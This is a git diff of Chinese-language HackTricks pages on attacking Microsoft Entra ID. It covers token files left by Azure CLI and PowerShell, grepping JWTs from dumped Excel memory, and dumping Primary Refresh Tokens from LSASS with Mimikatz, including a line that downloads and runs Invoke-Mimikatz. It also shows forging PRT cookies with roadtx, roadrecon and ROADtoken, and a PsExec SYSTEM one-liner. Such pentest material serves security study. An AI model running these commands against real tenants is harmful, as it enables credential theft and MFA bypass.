如 [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) 中提到的,可以在本地 AD 中更改 **`ProxyAddress`** 的值,添加 Entra ID 管理员用户的电子邮件,并确保 AD 中用户的 UPN 与 Entra ID 中的匹配(这又是 Entra ID),例如 **`SMTP:admin@domain.onmicrosoft.com`**。这将 **强制将该用户从 Entra ID 同步到本地 AD**,因此如果知道该用户的密码,可以用来 **访问 Entra ID 中的管理员**。
|
||||
如 [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) 中提到的,可以通过在本地 AD 中更改 **`ProxyAddress`** 的值,将 Entra ID 管理员用户的电子邮件添加进去,并确保 AD 中用户的 UPN 与 Entra ID 中的匹配(这又是 Entra ID),例如 **`SMTP:admin@domain.onmicrosoft.com`**。这将 **强制将该用户从 Entra ID 同步到本地 AD**,因此如果知道该用户的密码,可以用来 **访问 Entra ID 中的管理员**。
|
||||
|
||||
为了将新用户从 Entra ID 同步到本地 AD,唯一的要求是:
|
||||
|
||||
- 控制本地 AD 中用户的属性(或有权限创建新用户)
|
||||
- 知道用户仅在云中,以便从 Entra ID 同步到本地 AD
|
||||
- 知道用户的云端专用信息,以便从 Entra ID 同步到本地 AD
|
||||
- 你可能还需要能够将 Entra ID 用户的 immutableID 属性更改为本地 AD 用户,以进行 **硬匹配**。
|
||||
|
||||
> [!CAUTION]
|
||||
+30
-10
@@ -8,7 +8,7 @@
|
||||
|
||||
Azure CLI 本地存储令牌和敏感数据,带来安全隐患:
|
||||
|
||||
1. **访问令牌**:以明文存储在 `accessTokens.json` 中,位于 `C:\Users\<username>\.Azure`。
|
||||
1. **访问令牌**:以明文形式存储在 `accessTokens.json` 中,位于 `C:\Users\<username>\.Azure`。
|
||||
2. **订阅信息**:`azureProfile.json` 在同一目录中,保存订阅详细信息。
|
||||
3. **日志文件**:`.azure` 中的 `ErrorRecords` 文件夹可能包含暴露凭证的日志,例如:
|
||||
- 嵌入凭证的执行命令。
|
||||
@@ -18,22 +18,42 @@ Azure CLI 本地存储令牌和敏感数据,带来安全隐患:
|
||||
|
||||
Azure PowerShell 也存储令牌和敏感数据,可以本地访问:
|
||||
|
||||
1. **访问令牌**:`TokenCache.dat`,位于 `C:\Users\<username>\.Azure`,以明文存储访问令牌。
|
||||
1. **访问令牌**:`TokenCache.dat`,位于 `C:\Users\<username>\.Azure`,以明文形式存储访问令牌。
|
||||
2. **服务主体秘密**:这些以未加密形式存储在 `AzureRmContext.json` 中。
|
||||
3. **令牌保存功能**:用户可以使用 `Save-AzContext` 命令持久化令牌,需谨慎使用以防止未经授权的访问。
|
||||
3. **令牌保存功能**:用户可以使用 `Save-AzContext` 命令持久化令牌,使用时应谨慎以防止未经授权的访问。
|
||||
|
||||
## 自动工具查找它们
|
||||
### 自动工具查找它们
|
||||
|
||||
- [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
|
||||
- [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)
|
||||
|
||||
## 安全建议
|
||||
## 内存中的令牌
|
||||
|
||||
考虑到敏感数据以明文存储,确保这些文件和目录的安全至关重要:
|
||||
如 [**此视频**](https://www.youtube.com/watch?v=OHKZkXC4Duw) 中所述,一些与云同步的 Microsoft 软件(Excel、Teams...)可能会 **以明文形式在内存中存储访问令牌**。因此,仅需 **转储** 进程的 **内存** 并 **grep JWT 令牌**,可能会让你访问受害者在云中的多个资源,绕过 MFA。
|
||||
|
||||
- 限制对这些文件的访问权限。
|
||||
- 定期监控和审计这些目录,以防未经授权的访问或意外更改。
|
||||
- 尽可能对敏感文件进行加密。
|
||||
- 教育用户有关处理此类敏感信息的风险和最佳实践。
|
||||
步骤:
|
||||
|
||||
1. 使用你喜欢的工具转储与 EntraID 用户同步的 Excel 进程。
|
||||
2. 运行:`string excel.dmp | grep 'eyJ0'`,在输出中找到多个令牌。
|
||||
3. 找到你最感兴趣的令牌,并对其运行工具:
|
||||
```bash
|
||||
# Check the identity of the token
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
|
||||
|
||||
# Check the email (you need a token authorized in login.microsoftonline.com)
|
||||
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
|
||||
|
||||
# Download a file from Teams
|
||||
## You need a token that can access graph.microsoft.com
|
||||
## Then, find the <site_id> inside the memory and call
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
|
||||
|
||||
## Then, list one drive
|
||||
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
|
||||
|
||||
## Finally, download a file from that drive:
|
||||
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
```
|
||||
**请注意,这种访问令牌也可以在其他进程中找到。**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+4
-4
@@ -8,11 +8,11 @@
|
||||
|
||||
简单来说:
|
||||
|
||||
- 发起连接的机器(客户端) **需要 Entra ID 为用户颁发的证书**。
|
||||
- 发起连接的机器(客户端)**需要从 Entra ID 获取用户的证书**。
|
||||
- 客户端创建一个包含 PRT 和其他详细信息的 JSON Web Token (JWT) 头,使用派生密钥(使用会话密钥和安全上下文)对其进行签名,并 **将其发送到 Entra ID**。
|
||||
- Entra ID 使用客户端会话密钥和安全上下文验证 JWT 签名,检查 PRT 的有效性,并 **响应** 以 **证书**。
|
||||
|
||||
在这种情况下,并在获取所需的所有信息以进行 [**Pass the PRT**](pass-the-prt.md) 攻击后:
|
||||
在这种情况下,并在获取进行 [**Pass the PRT**](az-primary-refresh-token-prt.md) 攻击所需的所有信息后:
|
||||
|
||||
- 用户名
|
||||
- 租户 ID
|
||||
@@ -20,7 +20,7 @@
|
||||
- 安全上下文
|
||||
- 派生密钥
|
||||
|
||||
可以使用工具 [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** **请求用户的 P2P 证书**。
|
||||
可以使用工具 [**PrtToCert**](https://github.com/morRubin/PrtToCert)** 请求用户的 **P2P 证书**。
|
||||
```bash
|
||||
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
|
||||
```
|
||||
@@ -28,7 +28,7 @@ RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx H
|
||||
```bash
|
||||
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
|
||||
```
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- 有关 Pass the Certificate 工作原理的更多细节,请查看原始帖子 [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
|
||||
|
||||
|
||||
+1
-1
@@ -14,7 +14,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
## 攻击
|
||||
|
||||
具有挑战性的是,这些 **cookies 是通过 Microsoft 数据保护 API (**DPAPI**) 加密的**。这是使用与用户相关的加密 [密钥进行加密](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html)。您可以在以下链接找到更多信息:
|
||||
具有挑战性的一部分是这些 **cookies 是为用户加密的**,通过 Microsoft 数据保护 API (**DPAPI**)。这是使用与用户相关的加密 [密钥进行加密](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html)。您可以在以下链接找到更多信息:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
|
||||
|
||||
+96
-35
@@ -6,7 +6,7 @@
|
||||
|
||||
**主刷新令牌 (PRT)** 是一种在 Azure AD (Entra ID) 身份验证中使用的长期刷新令牌,类似于 Kerberos TGT。它在用户登录 Azure AD 连接的设备时发放,可以用于请求各种应用程序的访问令牌,而无需重新输入凭据。每个 PRT 附带一个 **会话密钥**(也称为持有证明密钥)——一个用于签署请求并证明客户端拥有 PRT 的对称密钥。PRT 本身是一个不透明的、加密的二进制数据块(客户端无法读取),而会话密钥用于在请求令牌时 **签署** 包含 PRT 的 JWT。换句话说,仅拥有 PRT 是不够的;攻击者需要会话密钥来证明合法性,类似于需要 Kerberos TGT 及其会话密钥进行身份验证。
|
||||
|
||||
在 Windows 上,PRT 和会话密钥通过 CloudAP 插件缓存于 LSASS 进程中。如果设备具有 **TPM**(受信任的平台模块),Azure AD 会将密钥绑定到 TPM 以增强安全性。这意味着在配备 TPM 的设备上,会话密钥存储或使用在 TPM 内部,以至于在正常情况下无法直接从内存中读取。如果没有可用的 TPM(例如,许多虚拟机或旧系统),密钥将保存在软件中,并通过 DPAPI 加密进行保护。在这两种情况下,具有管理权限或在机器上执行代码的攻击者可以尝试 **从内存中转储 PRT 和会话密钥** 作为后期利用的一部分,然后使用它们在云中冒充用户。
|
||||
在 Windows 上,PRT 和会话密钥通过 CloudAP 插件缓存于 LSASS 进程中。如果设备具有 **TPM**(受信任的平台模块),Azure AD 会将密钥绑定到 TPM 以增强安全性。这意味着在配备 TPM 的设备上,会话密钥存储或使用在 TPM 内,通常情况下无法直接从内存中读取。如果没有可用的 TPM(例如,许多虚拟机或旧系统),密钥将保存在软件中,并通过 DPAPI 加密进行保护。在这两种情况下,具有管理权限或在机器上执行代码的攻击者可以尝试 **从内存中转储 PRT 和会话密钥** 作为后期利用的一部分,然后使用它们在云中冒充用户。
|
||||
与典型的刷新令牌(通常是特定于应用程序的)不同,PRT 更广泛,允许您的设备请求几乎任何 Entra ID 集成资源或服务的令牌。
|
||||
|
||||
## PRT 如何工作?
|
||||
@@ -15,7 +15,7 @@
|
||||
|
||||
1. **设备注册:**
|
||||
|
||||
- 当您的设备(如 Windows 笔记本电脑或手机)加入或注册 Entra ID 时,它使用您的凭据(用户名/密码/MFA)进行身份验证。
|
||||
- 当您的设备(如 Windows 笔记本电脑或手机)加入或注册到 Entra ID 时,它使用您的凭据(用户名/密码/MFA)进行身份验证。
|
||||
|
||||
- 在成功身份验证后,Entra ID 发放一个专门绑定到您设备的 PRT。
|
||||
|
||||
@@ -29,9 +29,9 @@
|
||||
|
||||
- 您无需反复输入凭据,因为 PRT 透明地处理身份验证。
|
||||
|
||||
4. **续订和安全:**
|
||||
4. **续订和安全性:**
|
||||
|
||||
- PRT 的生命周期较长(通常约 14 天),但只要您的设备在积极使用中,就会不断续订。
|
||||
- PRT 的生命周期较长(通常约为 14 天),但只要您的设备在积极使用中,就会不断续订。
|
||||
|
||||
- 如果您的设备被攻破或丢失,管理员可以远程撤销您的 PRT,立即阻止未授权访问。
|
||||
|
||||
@@ -43,7 +43,7 @@
|
||||
|
||||
- **用户体验:** PRT 显著改善用户体验,减少频繁的身份验证提示,实现真正的无缝 SSO。
|
||||
|
||||
## 如何知道是否存在 PRT?
|
||||
## 如何知道 PRT 是否存在?
|
||||
|
||||
- 检查 PRT 是否存在:
|
||||
```bash
|
||||
@@ -62,14 +62,22 @@ dsregcmd /status
|
||||
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
|
||||
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
|
||||
```
|
||||
## Dump and user unprotected PRTs
|
||||
## 传递 PRT
|
||||
|
||||
根据[这篇文章](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)在没有TPM绑定的Windows设备上,PRT及其会话密钥存储在LSASS(CloudAP插件)中。通过在该设备上拥有本地管理员/SYSTEM权限,可以**从LSASS读取PRT blob和DPAPI加密的会话密钥,使用DPAPI解密会话密钥,并推导出签名密钥**以生成有效的PRT cookie(`x‑ms‑RefreshTokenCredential`)。你需要PRT和它的会话密钥——仅有PRT字符串是不够的。
|
||||
根据 [this post](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) 在没有 TPM 绑定的 Windows 设备上,PRT 及其会话密钥存储在 LSASS(CloudAP 插件)中。通过在该设备上拥有本地管理员/SYSTEM 权限,可以 **从 LSASS 读取 PRT blob 和 DPAPI 加密的会话密钥,使用 DPAPI 解密会话密钥,并推导出签名密钥** 以生成有效的 PRT cookie (`x‑ms‑RefreshTokenCredential`)。您需要 PRT 和其会话密钥——仅有 PRT 字符串是不够的。
|
||||
|
||||
### Mimikatz
|
||||
|
||||
1. **PRT(主刷新令牌)从 LSASS(本地安全授权子系统服务)中提取**并存储以供后续使用。
|
||||
2. **接下来提取会话密钥**。鉴于该密钥最初由本地设备发出,然后重新加密,因此需要使用 DPAPI 主密钥进行解密。有关 DPAPI(数据保护 API)的详细信息可以在这些资源中找到:[HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html),要了解其应用,请参考 [Pass-the-cookie attack](az-pass-the-cookie.md)。
|
||||
3. 在解密会话密钥后,**获得 PRT 的派生密钥和上下文**。这些对于 **创建 PRT cookie** 至关重要。具体而言,派生密钥用于签名构成 cookie 的 JWT(JSON Web Token)。 Dirk-jan 提供了该过程的全面解释,可以在 [here](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) 找到。
|
||||
```bash
|
||||
privilege::debug
|
||||
sekurlsa::cloudap
|
||||
|
||||
# Or in powershell
|
||||
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
|
||||
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
```
|
||||
**PRT字段**包含加密的刷新令牌(通常是base64字符串),而ProofOfPossessionKey中的KeyValue是DPAPI加密的会话密钥(也是base64)。
|
||||
|
||||
@@ -79,10 +87,13 @@ sekurlsa::cloudap
|
||||
```bash
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
|
||||
# PowerShell version
|
||||
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
|
||||
```
|
||||
`token::elevate` 将模拟 SYSTEM,`dpapi::cloudapkd` 命令与 `/unprotect` 将使用 DPAPI 主密钥解密提供的 KeyValue blob。这将产生明文会话密钥以及用于签名的相关派生密钥和上下文:
|
||||
- **明文密钥** – 以明文表示的 32 字节会话密钥(以十六进制字符串表示)。
|
||||
- **派生密钥** – 从会话密钥和上下文值派生的 32 字节密钥(下面会详细说明)。
|
||||
- **派生密钥** – 从会话密钥和上下文值派生的 32 字节密钥(下面会详细介绍)。
|
||||
- **上下文** – 用于派生 PRT cookie 签名密钥的 24 字节随机上下文。
|
||||
|
||||
> [!NOTE]
|
||||
@@ -95,14 +106,13 @@ dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
|
||||
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
|
||||
```
|
||||
Mimikatz 将在“Signature with key”行后输出一个签名的 JWT(`PRT cookie`),该 JWT 包含 PRT,并使用派生密钥进行签名。这个 JWT 可以被复制,然后在网络会话中使用。例如,攻击者可以打开浏览器,访问 `login.microsoftonline.com`,并设置一个名为 `x-ms-RefreshTokenCredential` 的 cookie,其值为这个 JWT。当浏览器刷新或导航时,Azure AD 会将会话视为已认证(PRT cookie 被呈现为 SSO 已发生),并将为指定资源发放授权码或访问令牌。在实践中,用户会导航到像 Office 365 或 Azure 门户这样的资源;有效的 PRT cookie 的存在意味着 Azure AD 将在没有额外登录的情况下授予访问权限(绕过 MFA,因为 PRT 已经被认证)。
|
||||
Mimikatz 将在“Signature with key”行之后输出一个签名的 JWT(`PRT cookie`),该 JWT 包含 PRT,并使用派生密钥进行签名。这个 JWT 可以被复制,然后在网络会话中使用。例如,攻击者可以打开浏览器,访问 `login.microsoftonline.com`,并设置一个名为 `x-ms-RefreshTokenCredential` 的 cookie,其值为这个 JWT。当浏览器刷新或导航时,Azure AD 会将会话视为已认证(PRT cookie 被呈现得好像发生了 SSO),并将为指定资源发放授权码或访问令牌。在实践中,用户会导航到像 Office 365 或 Azure 门户这样的资源;有效的 PRT cookie 的存在意味着 Azure AD 将在没有额外登录的情况下授予访问权限(绕过 MFA,因为 PRT 已经被认证)。
|
||||
|
||||
您还可以使用 **`roadtx`** 和 **`roadrecon`** 与 PRT cookie 的 PRT 来冒充用户 *(TODO: 找到使用 roadtx/roadrecon 从 PRT 获取凭据的确切命令行)*。
|
||||
|
||||
### Mimikatz + AADInternals
|
||||
|
||||
### AADInternals
|
||||
|
||||
**`AADInternals`** PowerShell 模块也可以与之前获得的 PRT 和会话密钥一起使用,以生成有效的 PRT 令牌。这对于自动化获取带有 nonce 的新 PRT 令牌的过程非常有用,这可以用于获取 Azure AD Graph API 或其他资源的访问令牌:
|
||||
**`AADInternals`** PowerShell 模块也可以与之前获得的 PRT 和会话密钥一起使用,以生成有效的 PRT 令牌。这对于自动化获取带有 nonce 的新 PRT 令牌的过程非常有用,该令牌可用于获取 Azure AD Graph API 或其他资源的访问令牌:
|
||||
```bash
|
||||
# Code from https://aadinternals.com/post/prt/
|
||||
# Add the PRT to a variable
|
||||
@@ -126,29 +136,48 @@ $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
|
||||
# Get an access token for MS Graph API
|
||||
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
|
||||
```
|
||||
这获取了一个新的 PRT cookie(带有 nonce),然后使用它来获取 Azure AD Graph API 的访问令牌(代表用户演示云访问)。 AADInternals 抽象了大部分加密,并在后台使用 Windows 组件或其自身逻辑。
|
||||
这会获取一个新的 PRT cookie(带有 nonce),然后使用它来获取 Azure AD Graph API 的访问令牌(代表用户演示云访问)。AADInternals 抽象了大部分加密,并在后台使用 Windows 组件或其自己的逻辑。
|
||||
|
||||
## 滥用受保护的 PRT
|
||||
### Mimikatz + roadtx
|
||||
|
||||
尽管有上述保护,已经攻陷设备(作为本地用户或甚至 SYSTEM)的攻击者仍然可以 **滥用 PRT 来获取新的访问令牌**,通过利用 Windows 自身的令牌代理 API 和安全组件。攻击者本质上 **“请求” Windows 代表他们使用 PRT**,而不是 **提取** 原始 PRT 或密钥。在下面的部分中,我们概述了在启用 TPM 保护的最新 Windows 设备上滥用 PRT 及其会话密钥的当前有效技术。所有这些技术假设在目标机器上具有后渗透访问,并且 **专注于滥用内置身份验证流程**(不需要未修补的漏洞)。
|
||||
- 首先更新 PRT,这将把它保存在 `roadtx.prt`:
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
- 现在我们可以使用交互式浏览器通过 `roadtx browserprtauth` **请求令牌**。如果我们使用 `roadtx describe` 命令,我们会看到访问令牌包含 MFA 声明,因为我在这种情况下使用的 PRT 也有 MFA 声明。
|
||||
```bash
|
||||
roadtx browserprtauth
|
||||
roadtx describe < .roadtools_auth
|
||||
```
|
||||
<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Mimikatz + roadrecon
|
||||
|
||||
通过mimikatz获取上下文和派生密钥后,可以使用roadrecon生成一个新的签名cookie:
|
||||
```bash
|
||||
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
|
||||
```
|
||||
## 滥用受保护的 PRTs
|
||||
|
||||
尽管有上述保护措施,已经攻陷设备的攻击者(作为本地用户或甚至 SYSTEM)仍然可以通过利用 Windows 自身的令牌代理 API 和安全组件来 **滥用 PRT 以获取新的访问令牌**。攻击者实际上是 **“请求” Windows 代表他们使用 PRT**,而不是 **提取** 原始 PRT 或密钥。在下面的部分中,我们概述了在启用 TPM 保护的最新 Windows 设备上滥用 PRT 及其会话密钥的当前有效技术。所有这些技术假设在目标机器上具有后渗透访问,并且 **专注于滥用内置身份验证流程**(不需要未修补的漏洞)。
|
||||
|
||||
### Windows 令牌代理架构和 SSO 流程
|
||||
|
||||
现代 Windows 通过内置的 **令牌代理** 堆栈处理云身份验证,该堆栈包括用户模式和 LSASS(本地安全机构)中的组件。该架构的关键部分包括:
|
||||
现代 Windows 通过内置的 **令牌代理** 堆栈处理云身份验证,该堆栈包括用户模式和 LSASS(本地安全授权)中的组件。该架构的关键部分包括:
|
||||
|
||||
- **LSASS CloudAP 插件:** 当设备加入 Azure AD 时,LSASS 加载云身份验证包(例如 `CloudAP.dll`、`aadcloudap.dll`、`MicrosoftAccountCloudAP.dll`),管理 PRT 和令牌请求。LSASS(以 SYSTEM 身份运行)协调 PRT 的存储、续订和使用,并与 TPM 接口以执行加密操作(如使用会话密钥对 PRT 挑战进行签名)。
|
||||
- **LSASS CloudAP 插件:** 当设备加入 Azure AD 时,LSASS 加载云身份验证包(例如 `CloudAP.dll`、`aadcloudap.dll`、`MicrosoftAccountCloudAP.dll`),这些包管理 PRT 和令牌请求。LSASS(以 SYSTEM 身份运行)协调 PRT 的存储、续订和使用,并与 TPM 接口以执行加密操作(如使用会话密钥对 PRT 挑战进行签名)。
|
||||
|
||||
- **Web 账户管理器(WAM):** Windows Web 账户管理器是一个用户模式框架(通过 COM/WinRT API 访问),允许应用程序或浏览器请求云账户的令牌,而无需提示凭据。WAM 充当用户应用程序与安全的 LSASS/TPM 支持的 PRT 之间的代理。例如,微软的 MSAL 库和某些操作系统组件使用 WAM 静默获取使用已登录用户的 PRT 的令牌。
|
||||
- **Web 账户管理器 (WAM):** Windows Web 账户管理器是一个用户模式框架(通过 COM/WinRT API 访问),允许应用程序或浏览器请求云账户的令牌,而无需提示输入凭据。WAM 充当用户应用程序与安全的 LSASS/TPM 支持的 PRT 之间的代理。例如,微软的 MSAL 库和某些操作系统组件使用 WAM 静默获取使用已登录用户的 PRT 的令牌。
|
||||
|
||||
- **BrowserCore.exe 和令牌代理 COM 接口:** 对于浏览器 SSO,Windows 包含一个名为 **BrowserCore.exe** 的组件(位于 *Windows Security\BrowserCore* 下)。这是一个本地消息主机,供浏览器(Edge、Chrome 通过扩展等)获取用于 Azure AD 登录的 PRT 派生 SSO 令牌。在后台,BrowserCore 利用 `MicrosoftAccountTokenProvider.dll` 提供的 COM 对象来检索基于 PRT 的 cookie/令牌。本质上,这个 COM 接口是一个第一方“令牌代理”API,任何以用户身份运行的进程都可以调用以获取 SSO 令牌(前提是用户在 LSASS 中有有效的 PRT)。
|
||||
- **BrowserCore.exe 和令牌代理 COM 接口:** 对于浏览器 SSO,Windows 包含一个名为 **BrowserCore.exe** 的组件(位于 *Windows Security\BrowserCore* 下)。这是一个本地消息主机,浏览器(Edge、通过扩展的 Chrome 等)使用它来获取用于 Azure AD 登录的基于 PRT 的 SSO 令牌。在底层,BrowserCore 利用 `MicrosoftAccountTokenProvider.dll` 提供的 COM 对象来检索基于 PRT 的 cookie/令牌。本质上,这个 COM 接口是一个第一方的“令牌代理”API,任何以用户身份运行的进程都可以调用以获取 SSO 令牌(前提是用户在 LSASS 中有有效的 PRT)。
|
||||
|
||||
当 Azure AD 加入的用户尝试访问资源(例如 Azure 门户)时,流程通常是:应用程序调用 WAM 或 BrowserCore 的 COM 接口,后者与 LSASS 通信。LSASS 使用 PRT 和会话密钥(由 TPM 保护)生成 **SSO 令牌**——通常称为 **PRT cookie**——然后将其返回给应用程序或浏览器。PRT cookie 是一个特殊的 JWT,包含加密的 PRT 和 nonce,使用从 PRT 的会话密钥派生的密钥进行签名。此 cookie 被发送到 Azure AD(在 `x-ms-RefreshTokenCredential` 头中)以证明设备和用户持有有效的 PRT,从而允许 Azure AD 为各种应用程序发放标准的 OAuth 刷新和访问令牌。值得注意的是,PRT 中存在的任何多因素身份验证(MFA)声明将被带入通过此 SSO 过程获得的令牌,这意味着基于 PRT 的令牌可以满足 MFA 保护的资源。
|
||||
当 Azure AD 加入的用户尝试访问资源(例如 Azure 门户)时,流程通常是:应用程序调用 WAM 或 BrowserCore 的 COM 接口,后者与 LSASS 通信。LSASS 使用 PRT 和会话密钥(由 TPM 保护)生成 **SSO 令牌**——通常称为 **PRT cookie**——然后将其返回给应用程序或浏览器。PRT cookie 是一个特殊的 JWT,包含加密的 PRT 和一个随机数,使用从 PRT 的会话密钥派生的密钥进行签名。此 cookie 被发送到 Azure AD(在 `x-ms-RefreshTokenCredential` 头中)以证明设备和用户持有有效的 PRT,从而允许 Azure AD 为各种应用程序发放标准的 OAuth 刷新和访问令牌。值得注意的是,PRT 中存在的任何多因素身份验证 (MFA) 声明将被带入通过此 SSO 过程获得的令牌,这意味着基于 PRT 的令牌可以满足 MFA 保护的资源。
|
||||
|
||||
### 用户级令牌窃取(非管理员)
|
||||
|
||||
当攻击者具有 **用户级代码执行** 时,PRT 的 TPM 保护并不能阻止攻击者获取令牌。攻击者 **利用内置的 Windows 令牌代理 API**:
|
||||
当攻击者具有 **用户级代码执行** 权限时,PRT 的 TPM 保护并不能阻止攻击者获取令牌。攻击者 **利用内置的 Windows 令牌代理 API**:
|
||||
|
||||
#### **BrowserCore(MicrosoftAccountTokenProvider COM)**
|
||||
#### **BrowserCore (MicrosoftAccountTokenProvider COM)**
|
||||
|
||||
BrowserCore 暴露了一个 COM 类(`MicrosoftAccountTokenProvider`,CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`)来获取 PRT cookie。此 COM API 被浏览器(Chrome/Edge 扩展)合法调用以进行 Azure AD SSO。
|
||||
|
||||
@@ -159,18 +188,50 @@ RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
|
||||
*(返回 Azure AD 刷新令牌或 PRT cookie)*
|
||||
|
||||
- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
|
||||
|
||||
ROADtoken 将从正确的目录运行 **`BrowserCore.exe`** 并使用它来 **获取 PRT cookie**。然后可以使用此 cookie 与 ROADtools 进行身份验证并 **获取持久的刷新令牌**。
|
||||
|
||||
要生成有效的 PRT cookie,您首先需要一个 nonce。\
|
||||
您可以通过以下方式获取:
|
||||
```bash
|
||||
ROADtoken.exe --nonce <nonce-value>
|
||||
roadrecon auth --prt-cookie <cookie>
|
||||
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
|
||||
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
|
||||
|
||||
$Params = @{
|
||||
"URI" = $URL
|
||||
"Method" = "POST"
|
||||
}
|
||||
$Body = @{
|
||||
"grant_type" = "srv_challenge"
|
||||
}
|
||||
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
|
||||
$Result.Nonce
|
||||
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
|
||||
```
|
||||
*(生成随机数,调用 BrowserCore 获取 PRT cookie,然后通过 ROADtools 兑换)*
|
||||
|
||||
或使用 [**roadrecon**](https://github.com/dirkjanm/ROADtools):
|
||||
```bash
|
||||
roadrecon auth prt-init
|
||||
```
|
||||
然后您可以使用 [**roadtoken**](https://github.com/dirkjanm/ROADtoken) 来获取新的 PRT(从用户的进程中运行该工具进行攻击):
|
||||
```bash
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
作为单行:
|
||||
```bash
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
然后您可以使用**生成的 cookie**来**生成令牌**以使用 Azure AD **Graph** 或 Microsoft Graph **登录**:
|
||||
```bash
|
||||
# Generate
|
||||
roadrecon auth --prt-cookie <prt_cookie>
|
||||
|
||||
# Connect
|
||||
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
||||
```
|
||||
### **Web Account Manager (WAM) APIs**
|
||||
|
||||
攻击者利用用户级进程中的合法 Microsoft 身份验证库 (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) 静默地检索令牌,利用 TPM 保护的 PRT。
|
||||
|
||||
|
||||
- **[aadprt](https://posts.specterops.io/)**
|
||||
```bash
|
||||
execute-assembly aadprt.exe
|
||||
@@ -193,34 +254,34 @@ $result.AccessToken
|
||||
|
||||
#### 管理员 / SYSTEM 级别令牌滥用
|
||||
|
||||
如果攻击者升级到 **管理员或 SYSTEM**,他们可以直接冒充任何 Azure AD 登录用户,并使用相同的 **COM/WAM 令牌代理 API**。TPM 保护的 PRT 并不阻止这种合法的令牌发放。
|
||||
如果攻击者升级到 **管理员或 SYSTEM**,他们可以直接冒充任何已登录 Azure AD 的用户,并使用相同的 **COM/WAM 令牌代理 API**。TPM 保护的 PRT 并不阻止这种合法的令牌发放。
|
||||
|
||||
### **用户冒充和令牌检索**
|
||||
### **用户冒充和令牌获取**
|
||||
|
||||
管理员/SYSTEM 可以冒充其他用户的运行会话,以调用 BrowserCore 或 WAM 进行令牌生成。
|
||||
|
||||
为此,只需冒充用户进程(例如,`explorer.exe`)并使用前一节中评论的任何技术调用令牌代理 API。
|
||||
为此,只需冒充用户进程(例如,`explorer.exe`),并使用前一节中评论的任何技术调用令牌代理 API。
|
||||
|
||||
### **直接与 LSASS 和令牌代理交互(高级)**
|
||||
|
||||
